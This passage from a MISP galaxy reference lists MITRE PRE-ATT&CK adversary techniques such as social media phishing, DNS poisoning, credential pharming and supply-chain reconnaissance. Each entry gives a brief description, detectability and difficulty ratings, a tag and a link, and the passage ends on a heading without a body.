Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending messages to individuals identified as a target follows normal tradecraft for using social media.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Targeted social media phishing - PRE-T1143"*

Table 2736. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1143

Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169

The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obtain Apple iOS enterprise distribution key pair and certificate - PRE-T1169"*

Table 2737. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1169

Determine 3rd party infrastructure services - PRE-T1037

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1037"*

Determine 3rd party infrastructure services - PRE-T1037 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1061" with estimative-language:likelihood-probability="almost-certain"

Table 2738. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1037

Identify resources required to build capabilities - PRE-T1125

As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Recruitment is, by its nature, either clandestine or off the record.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify resources required to build capabilities - PRE-T1125"*

Table 2739. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1125

Friend/Follow/Connect to targets of interest - PRE-T1141

A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Connecting with "friends" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Friend/Follow/Connect to targets of interest - PRE-T1141"*

Friend/Follow/Connect to targets of interest - PRE-T1141 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Friend/Follow/Connect to targets of interest - PRE-T1121" with estimative-language:likelihood-probability="almost-certain"

Table 2740. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1141

Create infected removable media - PRE-T1132

Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Create infected removable media - PRE-T1132"*

Table 2741. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1132

DNS poisoning - PRE-T1159

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Tracking multiple DNS infrastructures will likely require multiple tools/services, more advanced analytics, and mature detection/response capabilities in order to be effective. Few defenders demonstrate the mature processes to immediately detect and mitigate against the use of this technique.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary poisons DNS entry to redirect traffic designated for one site to route to an adversary controlled resource.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="DNS poisoning - PRE-T1159"*

Table 2742. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1159

Identify web defensive services - PRE-T1033

An adversary can attempt to identify web defensive services as [https://www.cloudflare.com/ CloudFlare], [https://github.com/jjxtra/Windows-IP-Ban-Service IPBan], and [https://www.snort.org/ Snort]. This may be done by passively detecting services, like [https://www.cloudflare.com/ CloudFlare] routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Active service detection may trigger an alert. Passive service enumeration is not detected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify web defensive services - PRE-T1033"*

Table 2743. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1033

Analyze architecture and configuration posture - PRE-T1065

An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Many of the common tools highlight these weakness automatically.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze architecture and configuration posture - PRE-T1065"*

Table 2744. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1065

Acquire and/or use 3rd party infrastructure services - PRE-T1084

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party infrastructure services - PRE-T1084"*

Acquire and/or use 3rd party infrastructure services - PRE-T1084 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party infrastructure services - PRE-T1106" with estimative-language:likelihood-probability="almost-certain"

Table 2745. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1084

Determine approach/attack vector - PRE-T1022

The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine approach/attack vector - PRE-T1022"*

Table 2746. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1022

Research visibility gap of security vendors - PRE-T1067

If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender’s organization.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Research visibility gap of security vendors - PRE-T1067"*

Table 2747. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1067

Analyze business processes - PRE-T1078

Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze business processes - PRE-T1078"*

Table 2748. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1078

Assess security posture of physical locations - PRE-T1079

Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess security posture of physical locations - PRE-T1079"*

Table 2749. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079

Obtain booter/stressor subscription - PRE-T1173

Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obtain booter/stressor subscription - PRE-T1173"*

Table 2750. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173

Analyze data collected - PRE-T1064

An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically. Adversary can "dry run" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze data collected - PRE-T1064"*

Table 2751. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064

Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038

Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038"*

Table 2752. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038

Generate analyst intelligence requirements - PRE-T1011

Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Generate analyst intelligence requirements - PRE-T1011"*

Table 2753. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011

Port redirector - PRE-T1140

Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Port redirector - PRE-T1140"*

Table 2754. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140

Identify business processes/tempo - PRE-T1057

Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify business processes/tempo - PRE-T1057"*

Table 2755. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057

Build and configure delivery systems - PRE-T1124

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Build and configure delivery systems - PRE-T1124"*

Table 2756. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124

Identify personnel with an authority/privilege - PRE-T1048

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify personnel with an authority/privilege - PRE-T1048"*

Table 2757. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048

Mine social media - PRE-T1050

An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest]. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very public by design. Application of privacy settings is not a panacea.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Mine social media - PRE-T1050"*

Table 2758. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050

Credential pharming - PRE-T1151

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Credential pharming - PRE-T1151"*

Table 2759. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151

Identify gap areas - PRE-T1002

Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify gap areas - PRE-T1002"*

Table 2760. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002

OS-vendor provided communication channels - PRE-T1167

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="OS-vendor provided communication channels - PRE-T1167"*

Table 2761. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167

Identify job postings and needs/gaps - PRE-T1055

Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender's organization.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very public by design.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1055"*

Identify job postings and needs/gaps - PRE-T1055 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1025" with estimative-language:likelihood-probability="almost-certain"

Table 2762. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055

Conduct social engineering - PRE-T1056

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1056"*

Conduct social engineering - PRE-T1056 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1045" with estimative-language:likelihood-probability="almost-certain"

Table 2763. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056

Identify supply chains - PRE-T1053

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1053"*

Identify supply chains - PRE-T1053 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1042" with estimative-language:likelihood-probability="almost-certain"

Table 2764. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053

Identify analyst level gaps - PRE-T1010

Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify analyst level gaps - PRE-T1010"*

Table 2765. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010

Compromise 3rd party infrastructure to support delivery - PRE-T1111

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party infrastructure to support delivery - PRE-T1111"*

Compromise 3rd party infrastructure to support delivery - PRE-T1111 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party infrastructure to support delivery - PRE-T1089" with estimative-language:likelihood-probability="almost-certain"

Table 2766. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111

Obfuscate infrastructure - PRE-T1086

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.) Adversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate infrastructure - PRE-T1086"*

Obfuscate infrastructure - PRE-T1086 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate infrastructure - PRE-T1108" with estimative-language:likelihood-probability="almost-certain"

Table 2767. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086

Deploy exploit using advertising - PRE-T1157

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Deploy exploit using advertising - PRE-T1157"*

Table 2768. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157

Map network topology - PRE-T1029

A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Map network topology - PRE-T1029"*

Table 2769. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029

Obfuscation or cryptography - PRE-T1090

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscation or cryptography - PRE-T1090"*

Table 2770. Table References

Links

https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090

Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer’s identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168"*

Table 2771. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168

Spear phishing messages with text only - PRE-T1145

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Spear phishing messages with text only - PRE-T1145"*

Table 2772. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145

Test callback functionality - PRE-T1133

